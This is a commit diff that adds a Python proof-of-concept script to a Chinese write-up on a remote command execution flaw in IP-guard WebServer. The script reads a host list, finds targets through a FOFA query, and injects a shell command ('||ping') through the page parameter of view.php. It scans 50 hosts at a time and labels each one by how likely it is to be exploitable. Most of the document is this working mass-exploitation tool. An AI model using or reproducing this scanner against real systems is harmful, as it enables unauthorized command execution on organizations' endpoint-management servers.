Update IP-guard WebServer 远程命令执行漏洞.md

2026-03-18 03:04:50 +08:00 · 2023-11-09 21:20:17 +08:00 · 2023-11-09 21:20:17 +08:00 · ba64f44d49
commit ba64f44d49
parent 944062a2c5
1 changed files with 75 additions and 0 deletions
--- a/远程命令执行漏洞.md
+++ b/远程命令执行漏洞.md
@ -20,3 +20,78 @@ IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软

 ![](./assets/20231109165256.png)
 ![](./assets/20231109165333.png)
+
+## Python脚本
+```
+#!/usr/bin/python3
+# -*- coding:utf-8 -*-
+# author:MDSEC
+# from:https://github.com/MD-SEC/MDPOCS
+# fofa:"IP-guard" && icon_hash="2030860561"
+# 
+
+
+import sys
+import requests
+import csv
+import urllib3
+import hashlib
+from concurrent.futures import ThreadPoolExecutor
+import time
+
+if len(sys.argv) != 2:
+    print(
+        '+----------------------------------------------------------------------------------------------------------+')
+    print(
+        '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS                                                        +')
+    print(
+        '+-------------------------------------------------------------------------------------------------- -------+')
+    print(
+        '+ USE: python3 <filename> <hosts.txt>                                                                       +')
+    print(
+        '+ EXP: python3 Ip_Guard_Webserver_View_Rce_Poc.py url.txt                                                  +')
+    print(
+        '+-------------------------------------------------------------------------------------------------- --------+')
+    sys.exit()
+proxysdata = {
+'http': '127.0.0.1:8080'
+} 
+def poc(host):
+    if "http" in host:
+        url = host
+    else:
+        url ="http://"+host
+    host1=url.replace("http://","")
+    host2=host1.replace("https://","")
+    headers = {
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0",
+        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
+        "Accept-Encoding": "gzip, deflate, br",
+        "Host":"%s" % host2
+    }
+    vulurl = url + "/ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||ping%20www.baidu.com"
+    try:
+        start_time = time.time()
+        r = requests.get(vulurl, headers=headers)
+        end_time = time.time()
+        response_time = end_time - start_time
+        if r.status_code==200 and response_time >2 and response_time<6 :
+            print(host+" :一定能打")
+        elif r.status_code==200:   
+            print(host+" :大概率能打")
+        else:
+            print(host+" :不能打")
+    except:
+        return 0
+        print (host+":false")
+
+
+if __name__ == '__main__':
+    file = sys.argv[1]
+    data = open(file)
+    reader = csv.reader(data)
+    with ThreadPoolExecutor(50) as pool:
+        for row in reader:
+            pool.submit(poc, row[0])
+```